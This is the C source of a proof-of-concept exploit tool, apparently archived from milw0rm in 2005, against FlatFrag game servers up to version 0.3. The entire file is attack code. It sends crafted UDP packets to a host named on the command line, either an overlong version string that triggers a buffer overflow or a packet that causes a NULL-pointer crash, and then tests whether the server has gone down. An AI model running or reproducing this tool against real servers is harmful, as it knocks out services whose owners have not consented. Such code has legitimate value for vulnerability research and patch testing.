/* by Luigi Auriemma */ #include #include #include #include #ifdef WIN32 #include /* Header file used for manage errors in Windows It support socket and errno too (this header replace the previous sock_errX.h) */ #include #include void std_err(void) { char *error; switch(WSAGetLastError()) { case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permission denied"; break; case 10014: error = "Bad address"; break; case 10022: error = "Invalid argument (not bind)"; break; case 10024: error = "Too many open files"; break; case 10035: error = "Operation would block"; break; case 10036: error = "Operation now in progress"; break; case 10037: error = "Operation already in progress"; break; case 10038: error = "Socket operation on non-socket"; break; case 10039: error = "Destination address required"; break; case 10040: error = "Message too long"; break; case 10041: error = "Protocol wrong type for socket"; break; case 10042: error = "Bad protocol option"; break; case 10043: error = "Protocol not supported"; break; case 10044: error = "Socket type not supported"; break; case 10045: error = "Operation not supported on socket"; break; case 10046: error = "Protocol family not supported"; break; case 10047: error = "Address family not supported by protocol family"; break; case 10048: error = "Address already in use"; break; case 10049: error = "Can't assign requested address"; break; case 10050: error = "Network is down"; break; case 10051: error = "Network is unreachable"; break; case 10052: error = "Net dropped connection or reset"; break; case 10053: error = "Software caused connection abort"; break; case 10054: error = "Connection reset by peer"; break; case 10055: error = "No buffer space available"; break; case 10056: error = "Socket is already connected"; break; case 10057: error = "Socket is not connected"; break; case 10058: error = "Can't send after socket shutdown"; break; case 10059: error = "Too many references, can't splice"; break; case 10060: error = "Connection timed out"; break; case 10061: error = "Connection refused"; break; case 10062: error = "Too many levels of symbolic links"; break; case 10063: error = "File name too long"; break; case 10064: error = "Host is down"; break; case 10065: error = "No Route to Host"; break; case 10066: error = "Directory not empty"; break; case 10067: error = "Too many processes"; break; case 10068: error = "Too many users"; break; case 10069: error = "Disc Quota Exceeded"; break; case 10070: error = "Stale NFS file handle"; break; case 10091: error = "Network SubSystem is unavailable"; break; case 10092: error = "WINSOCK DLL Version out of range"; break; case 10093: error = "Successful WSASTARTUP not yet performed"; break; case 10071: error = "Too many levels of remote in path"; break; case 11001: error = "Host not found"; break; case 11002: error = "Non-Authoritative Host not found"; break; case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break; case 11004: error = "Valid name, no data record of requested type"; break; default: error = strerror(errno); break; } fprintf(stderr, "\nError: %s\n", error); exit(1); } #define close closesocket #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #endif #define VER "0.1" #define BUFFSZ 2048 #define PORT 29000 #define TIMEOUT 3 #define GAMEVER "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" \ "aaaaaaaaaaaaaaaaaaaaaaaaaaaaAAA" int ff_addstr(u_char *in, u_char *out); int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz); int timeout(int sock); u_int resolv(char *host); void std_err(void); struct sockaddr_in peer; int main(int argc, char *argv[]) { int sd, len, attack; u_short port = PORT; u_char buff[BUFFSZ], *p; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "FlatFrag <= 0.3 multiple vulnerabilities "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: http://aluigi.altervista.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s [port(%hu)]\n" "\n" "Attack:\n" "1 = buffer-overflow\n" "2 = crash through access to NULL pointer\n" "\n", argv[0], port); exit(1); } attack = atoi(argv[1]); if(argc > 3) port = atoi(argv[3]); peer.sin_addr.s_addr = resolv(argv[2]); peer.sin_port = htons(port); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port); fputs("- start attack:\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); if(attack == 1) { buff[0] = 3; buff[1] = 0; len = send_recv(sd, buff, 2, buff, BUFFSZ); if(*buff != 5) { fputs("\nError: wrong reply from the server\n\n", stdout); exit(1); } buff[0] = 1; buff[1] = 0; buff[2] = 1; p = buff + 3; p += ff_addstr(GAMEVER, p); len = send_recv(sd, buff, p - buff, buff, BUFFSZ); } else if(attack == 2) { buff[0] = 5; buff[1] = 0; send_recv(sd, buff, 2, NULL, 0); } close(sd); sleep(ONESEC); fputs("- check server:\n", stdout); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); buff[0] = 3; buff[1] = 0; sendto(sd, buff, 2, 0, (struct sockaddr *)&peer, sizeof(peer)); if(timeout(sd) < 0) { fputs("\nServer IS vulnerable!!!\n\n", stdout); } else { fputs("\nServer doesn't seem vulnerable\n\n", stdout); } close(sd); return(0); } int ff_addstr(u_char *in, u_char *out) { int len; len = strlen(in); *out++ = len; memcpy(out, in, len); return(len + 1); } int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz) { int len; if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer)) < 0) std_err(); if(!out) return(0); if(timeout(sd) < 0) { fputs("\nError: socket timeout, no reply received\n\n", stdout); exit(1); } len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) std_err(); return(len); } int timeout(int sock) { struct timeval tout; fd_set fd_read; int err; tout.tv_sec = TIMEOUT; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); err = select(sock + 1, &fd_read, NULL, NULL, &tout); if(err < 0) std_err(); if(!err) return(-1); return(0); } u_int resolv(char *host) { struct hostent *hp; u_int host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u_int *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif // milw0rm.com [2005-11-02]